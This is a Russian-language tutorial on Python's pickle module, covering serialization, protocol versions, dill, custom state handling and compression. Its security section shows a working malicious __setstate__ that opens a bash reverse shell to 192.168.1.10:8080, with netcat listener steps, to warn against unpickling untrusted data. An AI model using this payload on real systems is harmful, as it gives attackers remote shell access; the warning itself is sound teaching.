Модуль Python pickle: как сохранить объекты в Python

11 мая, 2020

Подписывайся на наш канал в Telegram, чтобы ежедневно совершенствоваться в Python - перейти

Оглавление

  • Сериализация в Python
  • Внутри модуля pickle
  • Форматы протокола модуля Python pickle
  • Picklable и Unpicklable типы
  • Сжатие Pickled объектов
  • Проблемы безопасности с модулем Python pickle
  • Вывод

Как разработчику, вам иногда может понадобиться отправить сложные иерархии объектов по сети или сохранить внутреннее состояние ваших объектов на диск или в базу данных для последующего использования. Для этого вы можете использовать процесс, называемый сериализацией , который полностью поддерживается стандартной библиотекой благодаря pickle модулю Python .

В этом уроке вы узнаете:

  • Что означает сериализация и десериализация объекта
  • Какие модули вы можете использовать для сериализации объектов в Python
  • Какие виды объектов можно сериализовать с помощью pickle модуля Python
  • Как использовать pickle модуль Python для сериализации объектных иерархий
  • Каковы риски при десериализации объекта из ненадежного источника

Сериализация в Python

Процесс сериализации – это способ преобразования структуры данных в линейную форму, которая может храниться или передаваться по сети.

В Python сериализация позволяет взять сложную структуру объекта и преобразовать ее в поток байтов, который можно сохранить на диск или отправить по сети.  Обратный процесс, который принимает поток байтов и преобразует его обратно в структуру данных, называется десериализацией или демаршалингом .

Сериализация может использоваться в самых разных ситуациях. Одним из наиболее распространенных применений является сохранение состояния нейронной сети после фазы обучения, чтобы вы могли использовать его позже без необходимости повторять обучение.

Python предлагает три различных модуля в стандартной библиотеке, которые позволяют сериализовать и десериализовывать объекты:

  1. marshal модуль
  2. json модуль
  3. pickle модуль

Кроме того, Python поддерживает XML , который вы также можете использовать для сериализации объектов.

marshal Модуль является самым старым из трех перечисленных выше. Он существует главным образом для чтения и записи скомпилированного байт-кода модулей Python или .pyc файлов, которые вы получаете, когда интерпретатор импортирует модуль Python. Таким образом, даже если вы можете использовать marshal для сериализации некоторых из ваших объектов, это не рекомендуется.

json Модуль является новейшим из трех. Позволяет работать со стандартными файлами JSON. JSON – это очень удобный и широко используемый формат для обмена данными.

Есть несколько причин выбрать формат JSON : он удобен для чтения и не зависит от языка и легче XML. С помощью json модуля вы можете сериализовать и десериализовать несколько стандартных типов Python:

Модуль Python pickle – это еще один способ сериализации и десериализации объектов в Python. Он отличается от json модуля тем, что сериализует объекты в двоичном формате, что означает, что результат не читается человеком. Тем не менее, он также быстрее и работает со многими другими типами Python, включая ваши пользовательские объекты.

Примечание: С этого момента, вы будете видеть термины pickling и unpickling используется для обозначения сериализации и десериализации с Python pickle модуля.

Итак, у вас есть несколько различных способов сериализации и десериализации объектов в Python. Но какой из них вы должны использовать? Короткий ответ: нет единого решения для всех. Все зависит от вашего варианта использования.

Вот три основных руководства для принятия решения, какой подход использовать:

  1. Не используйте marshal модуль. Он используется главным образом интерпретатором, и официальная документация предупреждает, что сопровождающие Python могут изменять формат обратно несовместимыми способами.
  2. json Модуль и XML является хорошим выбором , если вам нужно взаимодействие с различными языками или воспринимаемым форматом.
  3. Модуль Python pickle – лучший выбор для всех остальных вариантов использования. Если вам не нужен читаемый человеком формат или стандартный совместимый формат, или если вам нужно сериализовать пользовательские объекты, тогда переходите к pickle.

Внутри pickle модуля Python

Модуль Python pickle основном состоит из четырех методов:

  1. pickle.dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)
  2. pickle.dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None)
  3. pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
  4. pickle.loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)

Первые два метода используются во время процесса pickling, а два других используются во время unpickling. Единственная разница между dump() и dumps() заключается в том, что первый создает файл, содержащий результат сериализации, а второй возвращает строку.

Чтобы отличить dumps() от dump(), полезно помнить, что s в конце имени функции стоит символ string. То же самое относится и к load() и loads(): первый читает файл, чтобы начать процесс расслоения, а второй работает со строкой.

Рассмотрим следующий пример. Допустим, у вас есть пользовательский класс example_class с несколькими разными атрибутами, каждый из которых имеет свой тип:

  • a_number
  • a_string
  • a_dictionary
  • a_list
  • a_tuple

В приведенном ниже примере показано, как создать экземпляр класса и выбрать экземпляр, чтобы получить простую строку. После выбора класса вы можете изменить значение его атрибутов, не затрагивая выбранную строку. Затем вы можете снять выделенную строку в другой переменной, восстановив точную копию ранее выбранного класса:

# pickling.py
import pickle

class example_class:
    a_number = 35
    a_string = "hey"
    a_list = [1, 2, 3]
    a_dict = {"first": "a", "second": 2, "third": [1, 2, 3]}
    a_tuple = (22, 23)

my_object = example_class()

my_pickled_object = pickle.dumps(my_object)  # Pickling the object
print(f"This is my pickled object:\n{my_pickled_object}\n")

my_object.a_dict = None

my_unpickled_object = pickle.loads(my_pickled_object)  # Unpickling the object
print(
    f"This is a_dict of the unpickled object:\n{my_unpickled_object.a_dict}\n")

В приведенном выше примере вы создаете несколько различных объектов и сериализуете их pickle. Это производит единственную строку с сериализованным результатом:

$ python pickling.py
This is my pickled object:
b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\x01.'

This is a_dict of the unpickled object:
{'first': 'a', 'second': 2, 'third': [1, 2, 3]}

Процесс pickling завершается правильно, сохраняя весь ваш экземпляр в этой строке: b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\x01.'После завершения процесса травления вы изменяете свой исходный объект, устанавливая атрибут a_dict в None.

Наконец, вы открываете строку для совершенно нового экземпляра. То, что вы получаете, является глубокой копией вашей исходной структуры объекта с момента начала процесса pickling.

Форматы протокола pickle модуля 

Как уже упоминалось выше, pickle модуль является специфичным для Python, и результат процесса pickling может быть прочитан только другой программой Python. Но даже если вы работаете с Python, важно знать, что pickle модуль эволюционировал со временем.

Это означает, что если вы выбрали объект с определенной версией Python, вы не сможете удалить его с более старой версией. Совместимость зависит от версии протокола, который вы использовали для процесса травления.

В настоящее время существует шесть различных протоколов, которые pickle может использовать . Чем выше версия протокола, тем более поздним должен быть интерпретатор Python для расщепления.

  1. Протокол версии 0 был первой версией. В отличие от более поздних протоколов, он удобочитаем.
  2. Протокол версии 1 был первым двоичным форматом.
  3. Протокол версии 2 был представлен в Python 2.3.
  4. Протокол версии 3 был добавлен в Python 3.0. Не может быть выбран Python 2.x.
  5. Протокол версии 4 был добавлен в Python 3.4. Он поддерживает более широкий диапазон размеров и типов объектов и является протоколом по умолчанию, начиная с Python 3.8.
  6. Протокол версии 5 был добавлен в Python 3.8. Он имеет поддержку внеполосных данных и улучшенную скорость для внутриполосных данных.

Примечание. Более новые версии протокола предлагают больше функций и улучшений, но ограничены более высокими версиями интерпретатора. Обязательно учитывайте это при выборе протокола для использования.

Чтобы определить самый высокий протокол, который поддерживает ваш интерпретатор, вы можете проверить значение pickle.HIGHEST_PROTOCOLатрибута.

Чтобы выбрать конкретный протокол , необходимо указать версию протокола при вызове load()loads()dump()или dumps(). Если вы не укажете протокол, ваш интерпретатор будет использовать версию по умолчанию, указанную в pickle.DEFAULT_PROTOCOL атрибуте.

Выбираемые и необратимые типы

Вы уже узнали, что pickle модуль Python может сериализовать гораздо больше типов, чем json модуль. Тем не менее, не все picklable. Список unpicklable объектов включает соединения с базой данных, открытые сетевые сокеты, запущенные потоки и др.

Если вы обнаружите, что столкнулись с unpicklable, то есть несколько вещей, которые вы можете сделать. Первый вариант – использовать стороннюю библиотеку, например dill.

dill Модуль расширяет возможности pickle. Согласно официальной документации , он позволяет сериализовать менее распространенные типы, такие как функции с выходами, вложенные функции , лямбда-выражения и многие другие.

Чтобы проверить этот модуль, вы можете попробовать выбрать lambda функцию:

# pickling_error.py
import pickle

square = lambda x : x * x
my_pickle = pickle.dumps(square)

Если вы попытаетесь запустить эту программу, вы получите исключение, потому что pickle модуль Python не может сериализовать lambda функцию:

$ python pickling_error.py
Traceback (most recent call last):
  File "pickling_error.py", line 6, in <module>
    my_pickle = pickle.dumps(square)
_pickle.PicklingError: Can't pickle <function <lambda> at 0x10cd52cb0>: attribute lookup <lambda> on __main__ failed

Теперь попробуйте заменить pickle модуль Python на, dillчтобы увидеть, есть ли разница:

# pickling_dill.py
import dill

square = lambda x: x * x
my_pickle = dill.dumps(square)
print(my_pickle)

Если вы запустите этот код, вы увидите, что dill модуль сериализует lambda без возврата ошибки:

$ python pickling_dill.py
b'\x80\x03cdill._dill\n_create_function\nq\x00(cdill._dill\n_load_type\nq\x01X\x08\x00\x00\x00CodeTypeq\x02\x85q\x03Rq\x04(K\x01K\x00K\x01K\x02KCC\x08|\x00|\x00\x14\x00S\x00q\x05N\x85q\x06)X\x01\x00\x00\x00xq\x07\x85q\x08X\x10\x00\x00\x00pickling_dill.pyq\tX\t\x00\x00\x00squareq\nK\x04C\x00q\x0b))tq\x0cRq\rc__builtin__\n__main__\nh\nNN}q\x0eNtq\x0fRq\x10.'

Еще одна интересная особенность dillзаключается в том, что он может даже сериализовать весь сеанс интерпретатора. Вот пример:>>>

>>> square = lambda x : x * x
>>> a = square(35)
>>> import math
>>> b = math.sqrt(484)
>>> import dill
>>> dill.dump_session('test.pkl')
>>> exit()

В этом примере вы запускаете интерпретатор, импортируете модуль и определяете lambda функцию вместе с несколькими другими переменными. Затем вы импортируете dill модуль и вызываете dump_session() для сериализации всей сессии.

Если все идет хорошо, вы должны получить test.pkl файл в текущем каталоге:

$ ls test.pkl
4 -rw-r--r--@ 1 dave  staff  439 Feb  3 10:52 test.pkl

Теперь вы можете запустить новый экземпляр интерпретатора и загрузить test.pkl файл для восстановления вашего последнего сеанса:>>>

>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>)])
>>> import dill
>>> dill.load_session('test.pkl')
>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>), ('dill', <module 'dill' from '/usr/local/lib/python3.7/site-packages/dill/__init__.py'>), ('square', <function <lambda> at 0x10a013a70>), ('a', 1225), ('math', <module 'math' from '/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/math.cpython-37m-darwin.so'>), ('b', 22.0)])
>>> a
1225
>>> b
22.0
>>> square
<function <lambda> at 0x10a013a70>

Первое globals().items() утверждение показывает, что интерпретатор находится в исходном состоянии. Это означает, что вам нужно импортировать dill модуль и вызвать load_session() для восстановления сеанса сериализованного интерпретатора.

Примечание. Прежде чем использовать dill вместо pickle, имейте в виду, что dill не включен в стандартную библиотеку интерпретатора Python и обычно работает медленнее, чем pickle.

Несмотря на то, что он dill позволяет сериализовать более широкий диапазон объектов pickle, он не может решить все проблемы с сериализацией, которые могут у вас возникнуть. Если вам, например, необходимо сериализовать объект, который содержит соединение с базой данных, то у вас непростое время, потому что этот объект даже не для сериализации dill.

Итак, как вы можете решить эту проблему?

Решением в этом случае является исключение объекта из процесса сериализации и повторная инициализация соединения после десериализации объекта.

Вы можете использовать, __getstate__() чтобы определить, что должно быть включено в процесс травления. Этот метод позволяет вам указать, что вы хотите pickle. Если вы не переопределите __getstate__()__dict__ то будут использованы экземпляры по умолчанию .

В следующем примере вы увидите, как вы можете определить класс с несколькими атрибутами и исключить один атрибут из сериализации с помощью __getstate()__:

# custom_pickling.py

import pickle

class foobar:
    def __init__(self):
        self.a = 35
        self.b = "test"
        self.c = lambda x: x * x

    def __getstate__(self):
        attributes = self.__dict__.copy()
        del attributes['c']
        return attributes

my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)

print(my_new_instance.__dict__)

В этом примере вы создаете объект с тремя атрибутами. Поскольку один из атрибутов – это lambda объект, его нельзя unpicklable стандартным pickle модулем.

Чтобы решить эту проблему, вы должны указать, что pickle __getstate__(). Сначала вы клонируете весь __dict__ экземпляр, чтобы все атрибуты были определены в классе, а затем вручную удаляете c атрибут unpicklable .

Если вы запустите этот пример и затем десериализуете объект, то увидите, что новый экземпляр не содержит cатрибут:

$ python custom_pickling.py
{'a': 35, 'b': 'test'}

Но что, если вы захотите выполнить некоторые дополнительные инициализации при снятии травления, скажем, добавив исключенный cобъект обратно в десериализованный экземпляр? Вы можете сделать это с помощью __setstate__():

# custom_unpickling.py
import pickle

class foobar:
    def __init__(self):
        self.a = 35
        self.b = "test"
        self.c = lambda x: x * x

    def __getstate__(self):
        attributes = self.__dict__.copy()
        del attributes['c']
        return attributes

    def __setstate__(self, state):
        self.__dict__ = state
        self.c = lambda x: x * x

my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)
print(my_new_instance.__dict__)

Передав исключенный c объект в __setstate__(), вы гарантируете, что он появится в __dict__ строке без выделения.

Сжатие Pickled объектов

Хотя pickle формат данных является компактным двоичным представлением структуры объекта, вы все равно можете оптимизировать свою засеченную строку, сжимая ее с помощью bzip2 или gzip.

Чтобы сжать Pickled строку bzip2, вы можете использовать bz2 модуль из стандартной библиотеки.

В следующем примере вы возьмете строку, выделите ее, а затем сожмете ее с помощью bz2 библиотеки:>>>

>>> import pickle
>>> import bz2
>>> my_string = """Per me si va ne la città dolente,
... per me si va ne l'etterno dolore,
... per me si va tra la perduta gente.
... Giustizia mosse il mio alto fattore:
... fecemi la divina podestate,
... la somma sapienza e 'l primo amore;
... dinanzi a me non fuor cose create
... se non etterne, e io etterno duro.
... Lasciate ogne speranza, voi ch'intrate."""
>>> pickled = pickle.dumps(my_string)
>>> compressed = bz2.compress(pickled)
>>> len(my_string)
315
>>> len(compressed)
259

При использовании сжатия помните, что файлы меньшего размера создаются за счет более медленного процесса.

Проблемы безопасности с pickle модулем Python

Теперь вы знаете, как использовать pickleмодуль для сериализации и десериализации объектов в Python. Процесс сериализации очень удобен, когда вам нужно сохранить состояние вашего объекта на диск или передать его по сети.

Однако есть еще одна вещь, которую вам нужно знать о pickle модуле Python : он небезопасен. Вы помните обсуждение __setstate__()? Что ж, этот метод отлично подходит для выполнения большей инициализации во время удаления, но он также может быть использован для выполнения произвольного кода в процессе удаления!

Итак, что вы можете сделать, чтобы уменьшить этот риск?

К сожалению, не так уж много. Правило – никогда не распаковывать данные, которые поступают из ненадежного источника или передаются по небезопасной сети . Чтобы предотвратить  man-in-the-middle attacks , рекомендуется использовать библиотеку hmac чтобы подписывать данные и следить за тем, чтобы они не были подделаны.

В следующем примере показано, как открепление несанкционированного доступа может раскрыть вашу систему злоумышленникам, даже предоставив им работающую удаленную оболочку:

# remote.py
import pickle
import os

class foobar:
    def __init__(self):
        pass

    def __getstate__(self):
        return self.__dict__

    def __setstate__(self, state):
        # The attack is from 192.168.1.10
        # The attacker is listening on port 8080
        os.system('/bin/bash -c
                  "/bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1"')


my_foobar = foobar()
my_pickle = pickle.dumps(my_foobar)
my_unpickle = pickle.loads(my_pickle)

В этом примере выполняется процесс расщепления __setstate__(), который выполняет команду Bash, чтобы открыть удаленную оболочку для 192.168.1.10 компьютера через порт 8080.

Вот как вы можете безопасно протестировать этот скрипт на вашем Mac или Linux. Сначала откройте терминал и используйте ncкоманду для прослушивания соединения с портом 8080:

$ nc -l 8080

Это будет терминал атакующего . Если все работает, то команда будет висеть.

Затем откройте другой терминал на том же компьютере (или на любом другом компьютере в сети) и выполните приведенный выше код Python для удаления вредоносного кода. Обязательно измените IP-адрес в коде на IP-адрес вашего атакующего терминала. В моем примере IP-адрес злоумышленника 192.168.1.10.

Выполнив этот код, жертва предоставит атакующему оболочку:

$ python remote.py

Если все работает, на атакующей консоли появится оболочка Bash. Эта консоль теперь может работать непосредственно на атакуемой системе:

$ nc -l 8080
bash: no job control in this shell

The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
bash-3.2$

Итак, позвольте мне повторить эту критическую точку еще раз: не используйте pickle модуль для десериализации объектов из ненадежных источников!

Вывод

Теперь вы знаете, как использовать pickle модуль Python для преобразования иерархии объектов в поток байтов, который можно сохранить на диск или передать по сети. Вы также знаете, что процесс десериализации в Python должен использоваться с осторожностью, поскольку извлечение чего-либо из ненадежного источника может быть чрезвычайно опасным.

В этом уроке вы узнали:

  • Что означает сериализация и десериализация объекта
  • Какие модули вы можете использовать для сериализации объектов в Python
  • Какие виды объектов можно сериализовать с помощью pickle модуля Python
  • Как использовать pickle модуль Python для сериализации объектных иерархий
  • Каковы риски unpickling из ненадежного источника

Обладая этими знаниями, вы хорошо подготовлены для сохранения ваших объектов с помощью pickle модуля Python .


Совершенствуй знания каждый день у нас в Телеграм-каналах

Вопросы, реклама — VK | Telegram